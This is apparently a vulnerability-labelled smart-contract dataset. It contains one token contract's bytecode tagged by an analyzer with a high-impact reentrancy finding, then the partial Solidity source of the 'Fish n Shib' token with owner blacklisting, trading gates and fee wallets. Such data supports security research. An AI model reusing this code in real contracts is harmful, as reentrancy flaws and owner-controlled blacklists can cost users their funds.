ffffffff16565b6117fd565b5b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a406117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610acd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac490613843565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610b306117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb490613843565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1a6117f5565b73ffffffffffffffffffffffffffffffffffffffff161480610c905750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c786117f5565b73ffffffffffffffffffffffffffffffffffffffff16145b610c9957600080fd5b6000479050610ca781612400565b50565b6000610cf4600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fb565b9050919050565b610d036117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8790613843565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e566117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eda90613843565b60405180910390fd5b6103e8670de0b6b3a7640000610ef99190613aaf565b811015610f3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3290613903565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60185481565b60606040518060400160405280600581526020017f4150455353000000000000000000000000000000000000000000000000000000815250905090565b610fbf6117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461104c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104390613843565b60405180910390fd5b8060198190555050565b61105e6117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e290613843565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c81905550600081846111159190613a59565b9050600083866111259190613a59565b9050601982111580611138575060198111155b611177576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116e90613803565b60405180910390fd5b505050505050565b6111876117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120b90613843565b60405180910390fd5b6001601660146101000a81548160ff02191690831515021790555043600881905550565b600061124c6112456117f5565b84846119c8565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112b76117f5565b73ffffffffffffffffffffffffffffffffffffffff16148061132d5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113156117f5565b73ffffffffffffffffffffffffffffffffffffffff16145b61133657600080fd5b600061134130610caa565b905061134c81612569565b50565b6113576117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113db90613843565b60405180910390fd5b60005b838390508110156114a9578160056000868685818110611430577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201602081019061144591906130be565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806114a190613c5d565b9150506113e7565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6115446117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c890613843565b60405180910390fd5b6103e8670de0b6b3a76400006115e79190613aaf565b811015611629576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611620906138e3565b60405180910390fd5b8060188190555050565b61163b6117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bf90613843565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611738576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172f90613783565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561186d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611864906138c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d4906137a3565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119bb9190613923565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2f90613883565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611aa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9f90613703565b60405180910390fd5b60008111611aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae290613863565b60405180910390fd5b611af3610f4b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b615750611b31610f4b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561209b57601660149054906101000a900460ff16611bf057611b82610f4b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be690613723565b60405180910390fd5b5b601754811115611c35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2c90613763565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cd95750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0f906137c3565b60405180910390fd5b6008544311158015611d775750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611dd15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611e0957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e67576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611f145760185481611ec984610caa565b611ed39190613a59565b10611f13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0a906138a3565b60405180910390fd5b5b6000611f1f30610caa565b9050600060195482101590506017548210611f3a5760175491505b808015611f545750601660159054906101000a900460ff16155b8015611fae5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611fc4575060168054906101000a900460ff165b801561201a5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120705750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156120985761207e82612569565b600047905060008111156120965761209547612400565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121425750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806121f55750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156121f45750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15612203576000905061238a565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156122ae5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156122c657600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156123715750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561238957600b54600d81905550600c54600e819055505b5b61239684848484612863565b50505050565b60008383111582906123e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123db91906136e1565b60405180910390fd5b50600083856123f39190613b3a565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61245060028461289090919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561247b573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124cc60028461289090919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124f7573d6000803e3d6000fd5b5050565b6000600654821115612542576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253990613743565b60405180910390fd5b600061254c6128da565b9050612561818461289090919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156125c7577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156125f55781602001602082028036833780820191505090505b5090503081600081518110612633577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156126d557600080fd5b505afa1580156126e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061270d91906130e7565b81600181518110612747577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127ae30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117fd565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161281295949392919061393e565b600060405180830381600087803b15801561282c57600080fd5b505af1158015612840573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b8061287157612870612905565b5b61287c848484612948565b8061288a57612889612b13565b5b50505050565b60006128d283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b27565b905092915050565b60008060006128e7612b8a565b915091506128fe818361289090919063ffffffff16565b9250505090565b6000600d5414801561291957506000600e54145b1561292357612946565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b60008060008060008061295a87612be9565b9550955095509550955095506129b886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c5190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a4d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c9b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a9981612cf9565b612aa38483612db6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612b009190613923565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b6591906136e1565b60405180910390fd5b5060008385612b7d9190613aaf565b9050809150509392505050565b600080600060065490506000670de0b6b3a76400009050612bbe670de0b6b3a764000060065461289090919063ffffffff16565b821015612bdc57600654670de0b6b3a7640000935093505050612be5565b81819350935050505b9091565b6000806000806000806000806000612c068a600d54600e54612df0565b9250925092506000612c166128da565b90506000806000612c298e878787612e86565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612c9383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061239c565b905092915050565b6000808284612caa9190613a59565b905083811015612cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ce6906137e3565b60405180910390fd5b8091505092915050565b6000612d036128da565b90506000612d1a8284612f0f90919063ffffffff16565b9050612d6e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c9b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612dcb82600654612c5190919063ffffffff16565b600681905550612de681600754612c9b90919063ffffffff16565b6007819055505050565b600080600080612e1c6064612e0e888a612f0f90919063ffffffff16565b61289090919063ffffffff16565b90506000612e466064612e38888b612f0f90919063ffffffff16565b61289090919063ffffffff16565b90506000612e6f82612e61858c612c5190919063ffffffff16565b612c5190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612e9f8589612f0f90919063ffffffff16565b90506000612eb68689612f0f90919063ffffffff16565b90506000612ecd8789612f0f90919063ffffffff16565b90506000612ef682612ee88587612c5190919063ffffffff16565b612c5190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612f225760009050612f84565b60008284612f309190613ae0565b9050828482612f3f9190613aaf565b14612f7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f7690613823565b60405180910390fd5b809150505b92915050565b6000612f9d612f98846139d8565b6139b3565b90508083825260208201905082856020860282011115612fbc57600080fd5b60005b85811015612fec5781612fd28882612ff6565b845260208401935060208301925050600181019050612fbf565b5050509392505050565b600081359050613005816141eb565b92915050565b60008151905061301a816141eb565b92915050565b60008083601f84011261303257600080fd5b8235905067ffffffffffffffff81111561304b57600080fd5b60208301915083602082028301111561306357600080fd5b9250929050565b600082601f83011261307b57600080fd5b813561308b848260208601612f8a565b91505092915050565b6000813590506130a381614202565b92915050565b6000813590506130b881614219565b92915050565b6000602082840312156130d057600080fd5b60006130de84828501612ff6565b91505092915050565b6000602082840312156130f957600080fd5b60006131078482850161300b565b91505092915050565b6000806040838503121561312357600080fd5b600061313185828601612ff6565b925050602061314285828601612ff6565b9150509250929050565b60008060006060848603121561316157600080fd5b600061316f86828701612ff6565b935050602061318086828701612ff6565b9250506040613191868287016130a9565b9150509250925092565b600080604083850312156131ae57600080fd5b60006131bc85828601612ff6565b92505060206131cd858286016130a9565b9150509250929050565b6000806000604084860312156131ec57600080fd5b600084013567ffffffffffffffff81111561320657600080fd5b61321286828701613020565b9350935050602061322586828701613094565b9150509250925092565b60006020828403121561324157600080fd5b600082013567ffffffffffffffff81111561325b57600080fd5b6132678482850161306a565b91505092915050565b60006020828403121561328257600080fd5b600061329084828501613094565b91505092915050565b6000602082840312156132ab57600080fd5b60006132b9848285016130a9565b91505092915050565b600080600080608085870312156132d857600080fd5b60006132e6878288016130a9565b94505060206132f7878288016130a9565b9350506040613308878288016130a9565b9250506060613319878288016130a9565b91505092959194509250565b6000613331838361333d565b60208301905092915050565b61334681613b6e565b82525050565b61335581613b6e565b82525050565b600061336682613a14565b6133708185613a37565b935061337b83613a04565b8060005b838110156133ac5781516133938882613325565b975061339e83613a2a565b92505060018101905061337f565b5085935050505092915050565b6133c281613b80565b82525050565b6133d181613bc3565b82525050565b6133e081613be7565b82525050565b60006133f182613a1f565b6133fb8185613a48565b935061340b818560208601613bf9565b61341481613d33565b840191505092915050565b600061342c602383613a48565b915061343782613d44565b604082019050919050565b600061344f603f83613a48565b915061345a82613d93565b604082019050919050565b6000613472602a83613a48565b915061347d82613de2565b604082019050919050565b6000613495601c83613a48565b91506134a082613e31565b602082019050919050565b60006134b8602683613a48565b91506134c382613e5a565b604082019050919050565b60006134db602283613a48565b91506134e682613ea9565b604082019050919050565b60006134fe602383613a48565b915061350982613ef8565b604082019050919050565b6000613521601b83613a48565b915061352c82613f47565b602082019050919050565b6000613544601683613a48565b915061354f82613f70565b602082019050919050565b6000613567602183613a48565b915061357282613f99565b604082019050919050565b600061358a602083613a48565b915061359582613fe8565b602082019050919050565b60006135ad602983613a48565b91506135b882614011565b604082019050919050565b60006135d0602583613a48565b91506135db82614060565b604082019050919050565b60006135f3602383613a48565b91506135fe826140af565b604082019050919050565b6000613616602483613a48565b9150613621826140fe565b604082019050919050565b6000613639602883613a48565b91506136448261414d565b604082019050919050565b600061365c602683613a48565b91506136678261419c565b604082019050919050565b61367b81613bac565b82525050565b61368a81613bb6565b82525050565b60006020820190506136a5600083018461334c565b92915050565b60006020820190506136c060008301846133b9565b92915050565b60006020820190506136db60008301846133c8565b92915050565b600060208201905081810360008301526136fb81846133e6565b905092915050565b6000602082019050818103600083015261371c8161341f565b9050919050565b6000602082019050818103600083015261373c81613442565b9050919050565b6000602082019050818103600083015261375c81613465565b9050919050565b6000602082019050818103600083015261377c81613488565b9050919050565b6000602082019050818103600083015261379c816134ab565b9050919050565b600060208201905081810360008301526137bc816134ce565b9050919050565b600060208201905081810360008301526137dc816134f1565b9050919050565b600060208201905081810360008301526137fc81613514565b9050919050565b6000602082019050818103600083015261381c81613537565b9050919050565b6000602082019050818103600083015261383c8161355a565b9050919050565b6000602082019050818103600083015261385c8161357d565b9050919050565b6000602082019050818103600083015261387c816135a0565b9050919050565b6000602082019050818103600083015261389c816135c3565b9050919050565b600060208201905081810360008301526138bc816135e6565b9050919050565b600060208201905081810360008301526138dc81613609565b9050919050565b600060208201905081810360008301526138fc8161362c565b9050919050565b6000602082019050818103600083015261391c8161364f565b9050919050565b60006020820190506139386000830184613672565b92915050565b600060a0820190506139536000830188613672565b61396060208301876133d7565b8181036040830152613972818661335b565b9050613981606083018561334c565b61398e6080830184613672565b9695505050505050565b60006020820190506139ad6000830184613681565b92915050565b60006139bd6139ce565b90506139c98282613c2c565b919050565b6000604051905090565b600067ffffffffffffffff8211156139f3576139f2613d04565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613a6482613bac565b9150613a6f83613bac565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613aa457613aa3613ca6565b5b828201905092915050565b6000613aba82613bac565b9150613ac583613bac565b925082613ad557613ad4613cd5565b5b828204905092915050565b6000613aeb82613bac565b9150613af683613bac565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b2f57613b2e613ca6565b5b828202905092915050565b6000613b4582613bac565b9150613b5083613bac565b925082821015613b6357613b62613ca6565b5b828203905092915050565b6000613b7982613b8c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613bce82613bd5565b9050919050565b6000613be082613b8c565b9050919050565b6000613bf282613bac565b9050919050565b60005b83811015613c17578082015181840152602081019050613bfc565b83811115613c26576000848401525b50505050565b613c3582613d33565b810181811067ffffffffffffffff82111715613c5457613c53613d04565b5b80604052505050565b6000613c6882613bac565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613c9b57613c9a613ca6565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f46656573206d75737420626520756e6465722032352500000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f7420736574206d617857616c6c657453697a65206c6f776572207460008201527f68616e20302e3125000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f7420736574206d61785478416d6f756e74206c6f7765722074686160008201527f6e20302e31250000000000000000000000000000000000000000000000000000602082015250565b6141f481613b6e565b81146141ff57600080fd5b50565b61420b81613b80565b811461421657600080fd5b50565b61422281613bac565b811461422d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220106529b61745b284a75ae18a95e222fe840db72d5e6c6b674e38e9c2861d3dde64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,004
0xf89e74c6bf6e70becba0a7fa8d480f755f1a5296
//https://t.me/fishnshib pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FISHNSHIB is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e9 * 10**9; string public constant name = unicode"Fish n Shib"; string public constant symbol = unicode"FISHNSHIB"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeCollectionADD; address public uniswapV2Pair; uint public _buyFee = 12; uint public _sellFee = 12; uint private _feeRate = 15; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _FeeCollectionADD = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if((_launchedAt + (4 minutes)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); } isBuy = true; } 